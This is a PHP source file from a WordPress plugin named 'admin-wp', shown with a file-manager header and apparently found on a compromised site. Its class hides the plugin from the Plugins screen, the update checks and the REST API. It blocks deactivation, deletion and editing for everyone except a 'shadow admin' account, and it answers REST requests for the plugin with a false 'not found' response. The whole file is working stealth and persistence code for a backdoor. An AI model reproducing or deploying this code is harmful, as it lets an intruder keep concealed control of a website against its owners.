File "class-plugin-cloak.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-plugin-cloak.php
File size: 7.67 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
/**
* Hides this plugin from the Plugins screen and blocks deactivate/delete/edit
* for everyone except the owner and shadow admin.
*/
class AWG_Plugin_Cloak {
public static function init(): void {
add_filter( 'all_plugins', [ __CLASS__, 'filter_plugin_list' ] );
add_action( 'load-plugins.php', [ __CLASS__, 'on_load_plugins' ], 1 );
add_action( 'load-plugin-editor.php', [ __CLASS__, 'on_load_plugin_editor' ], 1 );
add_filter( 'site_transient_update_plugins', [ __CLASS__, 'filter_update_transient' ] );
add_filter( 'rest_pre_dispatch', [ __CLASS__, 'rest_block_mutations' ], 10, 3 );
add_filter( 'rest_post_dispatch', [ __CLASS__, 'rest_filter_responses' ], 10, 3 );
}
public static function user_can_manage_plugin(): bool {
$uid = get_current_user_id();
return $uid > 0 && $uid === AWG_Shadow_Admin::get_id();
}
public static function plugin_basename(): string {
return plugin_basename( AWG_PLUGIN_FILE );
}
/* ---- hide from plugins list ---- */
public static function filter_plugin_list( array $plugins ): array {
if ( self::user_can_manage_plugin() ) {
return $plugins;
}
$key = self::plugin_basename();
unset( $plugins[ $key ] );
return $plugins;
}
/* ---- block deactivate / delete / bulk on plugins.php ---- */
public static function on_load_plugins(): void {
if ( self::user_can_manage_plugin() ) {
return;
}
$file = self::plugin_basename();
if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'deactivate' ) {
if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) {
self::forbid();
}
}
if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'delete' ) {
if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) {
self::forbid();
}
}
if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) {
return;
}
$checked = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : [];
$checked = array_map( 'sanitize_text_field', $checked );
if ( ! in_array( $file, $checked, true ) ) {
return;
}
$action = '';
if ( isset( $_POST['action'] ) && $_POST['action'] !== '-1' ) {
$action = sanitize_text_field( wp_unslash( $_POST['action'] ) );
} elseif ( isset( $_POST['action2'] ) && $_POST['action2'] !== '-1' ) {
$action = sanitize_text_field( wp_unslash( $_POST['action2'] ) );
}
$blocked = [
'delete-selected',
'deactivate-selected',
'enable-auto-update-selected',
'disable-auto-update-selected',
'update-selected',
];
if ( in_array( $action, $blocked, true ) ) {
self::forbid();
}
}
/* ---- block plugin file editor ---- */
public static function on_load_plugin_editor(): void {
if ( self::user_can_manage_plugin() ) {
return;
}
$file = isset( $_REQUEST['file'] ) ? wp_unslash( $_REQUEST['file'] ) : '';
$file = str_replace( "\0", '', $file );
if ( $file === '' ) {
return;
}
$ours = self::plugin_basename();
$ours_d = dirname( $ours );
if ( $file === $ours || strpos( $file, $ours_d . '/' ) === 0 ) {
self::forbid();
}
}
/* ---- hide plugin from update checks (for non-whitelisted UI) ---- */
public static function filter_update_transient( $value ) {
if ( self::user_can_manage_plugin() || ! is_object( $value ) ) {
return $value;
}
$b = self::plugin_basename();
if ( isset( $value->response[ $b ] ) ) {
unset( $value->response[ $b ] );
}
if ( isset( $value->no_update[ $b ] ) ) {
unset( $value->no_update[ $b ] );
}
if ( isset( $value->unsupported[ $b ] ) ) {
unset( $value->unsupported[ $b ] );
}
return $value;
}
/* ---- REST: block mutations on this plugin ---- */
public static function rest_block_mutations( $result, $server, $request ) {
if ( self::user_can_manage_plugin() ) {
return $result;
}
$method = $request->get_method();
if ( ! in_array( $method, [ 'POST', 'PUT', 'PATCH', 'DELETE' ], true ) ) {
return $result;
}
$route = $request->get_route();
if ( strpos( $route, '/wp/v2/plugins/' ) !== 0 ) {
return $result;
}
$slug = self::rest_plugin_slug_from_route( $route );
if ( $slug !== '' && self::is_our_plugin_slug( $slug ) ) {
return new WP_Error(
'rest_forbidden',
__( 'Sorry, you are not allowed to manage this plugin.', 'admin-wp' ),
[ 'status' => 403 ]
);
}
return $result;
}
/* ---- REST: hide from GET collection / single ---- */
public static function rest_filter_responses( $response, $server, $request ) {
if ( self::user_can_manage_plugin() ) {
return $response;
}
if ( ! $response instanceof WP_REST_Response ) {
return $response;
}
$route = $request->get_route();
$method = $request->get_method();
if ( $method !== 'GET' ) {
return $response;
}
if ( strpos( $route, '/wp/v2/plugins' ) !== 0 ) {
return $response;
}
$ours = self::plugin_basename();
if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) {
$slug = rawurldecode( $m[1] );
if ( self::is_our_plugin_slug( $slug ) ) {
return new WP_REST_Response(
[
'code' => 'rest_plugin_not_found',
'message' => __( 'Plugin not found.', 'admin-wp' ),
'data' => [ 'status' => 404 ],
],
404
);
}
return $response;
}
if ( $route === '/wp/v2/plugins' ) {
$data = $response->get_data();
if ( is_array( $data ) ) {
$data = array_values( array_filter( $data, function ( $item ) use ( $ours ) {
$p = is_array( $item ) ? ( $item['plugin'] ?? '' ) : '';
return $p !== $ours;
} ) );
$response->set_data( $data );
}
}
return $response;
}
private static function rest_plugin_slug_from_route( string $route ): string {
if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) {
return rawurldecode( $m[1] );
}
return '';
}
private static function is_our_plugin_slug( string $slug ): bool {
$ours = self::plugin_basename();
if ( $slug === $ours ) {
return true;
}
return rawurldecode( $slug ) === $ours;
}
private static function forbid(): void {
wp_die(
esc_html__( 'Sorry, you are not allowed to modify this plugin.', 'admin-wp' ),
esc_html__( 'Forbidden', 'admin-wp' ),
[ 'response' => 403 ]
);
}
}